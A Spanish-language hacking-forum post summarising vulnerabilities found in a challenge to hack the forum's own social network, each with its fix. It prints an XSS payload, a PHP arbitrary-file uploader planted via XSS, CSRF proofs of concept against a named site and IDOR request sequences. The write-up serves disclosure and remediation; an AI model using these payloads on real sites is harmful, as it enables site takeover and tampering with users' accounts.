Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[RETO] Hackea la red social de Underc0de !

  • 20 Respuestas
  • 6510 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 174
  • Actividad:
    1.67%
  • Reputación 4
    • Ver Perfil
« Respuesta #20 en: Noviembre 24, 2018, 01:57:02 pm »
So.. Decidí volcar las vulnerabilidades y arreglos en este mismo post :D

Vuln 1 Cross Site Scripting (XSS)
Importancia: CRITICA
By @ANTRAX

En varios inputs, los datos que se ingresaban no estaban siendo validados, lo que resultaba en la ejecución de codigo albitrario desde el lado del cliente, y cada vez que alguien veia la publicación le saltaba el 'cartelito' del Alert

Ejemplo:


Código: [Seleccionar]
<script>alert("Hacker");</script>
<h1>Puedo poner un titulo</h1>

O uno mas complejo en el cual me dejó de regalo un uploader que permitia subir cualquier archivo:

Código: [Seleccionar]
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'
echo 
'<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>'
if( 
$_POST['_upl'] == "Upload" ) { 
if(@
copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
echo 
'<b>Archivo subido!</b><br><br>'
}else { echo 
'<b>Upload Fail!</b><br><br></font>'; } }  ?>
Es mas, de tanto romper su perfil, nuestro amigo ANTRAX tuvo que pedirme que se lo arregle desde la BD porque lo habia destruido por completo  ::)


Solución

Limpiar los valores que se introducen en los inputs.
Para eso se usaron dos funciones, la primera hace uso de htmlentities que permite mostrar en pantalla los caracteres especiales pero los almacena como ASCII en la base de datos, logrando que no tengan efecto en la pagina.
La use dentro de una funcion propia para que si en algun momento tengo que cambiar htmlentities por otra cosa solo cambiarla desde aca y no tener que recorrer todo el codigo

Documentación: https://secure.php.net/manual/en/function.htmlentities.php

Código: [Seleccionar]
function limpiarentrada($input){
    $clean = htmlentities($input);
    return $clean;
}

La segunda funcion reemplaza cualquier caracter especial por un equivalente o lo elimina, esta fue usada en la parte de 'editar perfil' por ejemplo

Código: [Seleccionar]
function sanitize($string) {
    $clean_name = strtr($string, array('Š' => 'S','Ž' => 'Z','š' => 's','ž' => 'z','Ÿ' => 'Y','À' => 'A','Á' => 'A','Â' => 'A','Ã' => 'A','Ä' => 'A','Å' => 'A','Ç' => 'C','È' => 'E','É' => 'E','Ê' => 'E','Ë' => 'E','Ì' => 'I','Í' => 'I','Î' => 'I','Ï' => 'I','Ñ' => 'N','Ò' => 'O','Ó' => 'O','Ô' => 'O','Õ' => 'O','Ö' => 'O','Ø' => 'O','Ù' => 'U','Ú' => 'U','Û' => 'U','Ü' => 'U','Ý' => 'Y','à' => 'a','á' => 'a','â' => 'a','ã' => 'a','ä' => 'a','å' => 'a','ç' => 'c','è' => 'e','é' => 'e','ê' => 'e','ë' => 'e','ì' => 'i','í' => 'i','î' => 'i','ï' => 'i','ñ' => 'n','ò' => 'o','ó' => 'o','ô' => 'o','õ' => 'o','ö' => 'o','ø' => 'o','ù' => 'u','ú' => 'u','û' => 'u','ü' => 'u','ý' => 'y','ÿ' => 'y'));
    $clean_name = strtr($clean_name, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
    $clean_name = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $clean_name);
    $clean_name = strtolower($clean_name);
    return $clean_name;
}

Ya con esto logramos que el proximo que lo intente quede en el intento







Vuln 2 Shell Upload
Importancia: CRITICA
By @hielasangre & @Olger346

Por no haber checkeado el MIME type del archivo a subir se permitia subir cualquier tipo de archivo, Claro está que no iba a ser aprovechado para subir un GIF y no un JPG, sino que iba a ser utilizado para subir una shell que les permitiera tomar control del sitio


Solución
Chequear el tipo de archivo a subir, y solo permitir imagenes

Documentación: https://secure.php.net/manual/en/function.mime-content-type.php


Vuln 3 Cross Site Request Forgery (CSRF)
By @hielasangre

La vulnerabilidad permite a un sitio externo enviar peticiones a nuestro sitio, por lo que las personas que visiten un link le darían like a una publicación sin darse cuenta por ejemplo.

Ejemplo y Proof of Concept (POC)

Código: [Seleccionar]
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Con la misma vulnerabilidad CSRF si el atacante podia enviar un link en el cual permitia cambiar todos los datos del perfil

Código: [Seleccionar]
<html>
 <body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
 </body>
</html>

Gracias por los videos POC @hielasangre

Solución
Utilizar un token en un campo "hidden" para verificar que se este accediendo a los formularios desde el sitio original y no externamente
Material: https://codingcyber.org/secure-php-forms-csrf-tokens-7286/



Vuln 4 Execution After Redirect
By @Nobody

Esta Vulnerabilidad consta de seguir ejecutando el código de la página luego de una verificación

Ejemplo:

Código: [Seleccionar]
    <?php
     
    $_SESSION
['username'] = "user";
     
    if (
$_SESSION['username'] !== "admin")
    {
            
header("Location: index.php");
    }
     
    echo 
"Priv8 zone!";
     
    
?>

Solución
colocar un exit(); debajo del header location.



Vuln 5 Input Validation
By @Nobody

Por no haberle asignado un nombre unico a cada foto que se subia, si el nombre de una coincidia con una que ya habia sido subida, la imagen se reemplazaba

Solución
Usar un tipo de ID único, agregandole la función uniqid() antes del nombre del archivo a subir
 



Vuln 6 Insecure Direct Object Reference
By @Nobody

Era posible "auto aceptarse" la solicitud de amistad manipulando los parametros GET de la cabecera

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=VictimaID&&accion=1

Tambien era posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 6
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Solución
Arreglar la funcion que recibe esos parametros asegurandose que sean diferentes al usuario que se encuentra logueado actualmente

Vuln 7 Input Validation
By @Nobody
 
Se podia recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Solución
Arreglar las consultas a la base de dato para que no introduzcan valores repetidos



Excelente iniciativa Bartz:

Si se me permite, me gustaría hacerte unas recomendaciones... En la parte de filtros para sanitizar, yo utilizo esto:

http://php.net/manual/es/filter.filters.sanitize.php


En la carpeta donde se suben las imágenes aparte de las validaciones que quieras poner a nivel de código, también especificaria por medio de un htaccess que los archivos subidos sean interpretados como imágenes.

https://www.calistohosting.com/blog/2017/02/01/permitir-acceso-a-tipos-de-archivos-especificos-en-un-directorio-protegido/


 

¿Te gustó el post? COMPARTILO!



Underc0de Weekend #2 [Solucionario]

Iniciado por q3rv0

Respuestas: 4
Vistas: 1756
Último mensaje Noviembre 08, 2014, 06:44:32 pm
por WhiZ
Underc0de Weekend #4 (Solucionario)

Iniciado por blackdrake

Respuestas: 5
Vistas: 2658
Último mensaje Diciembre 15, 2014, 10:44:59 am
por Satyricon
Underc0de Weekend #5

Iniciado por Jimeno

Respuestas: 2
Vistas: 1667
Último mensaje Enero 22, 2015, 06:03:50 pm
por rollth
Underc0de Weekend #4

Iniciado por blackdrake

Respuestas: 14
Vistas: 5647
Último mensaje Diciembre 14, 2014, 08:03:15 am
por blackdrake
Underc0de Weekend #3

Iniciado por ANTRAX

Respuestas: 6
Vistas: 2679
Último mensaje Noviembre 12, 2014, 09:30:51 am
por DeBobiPro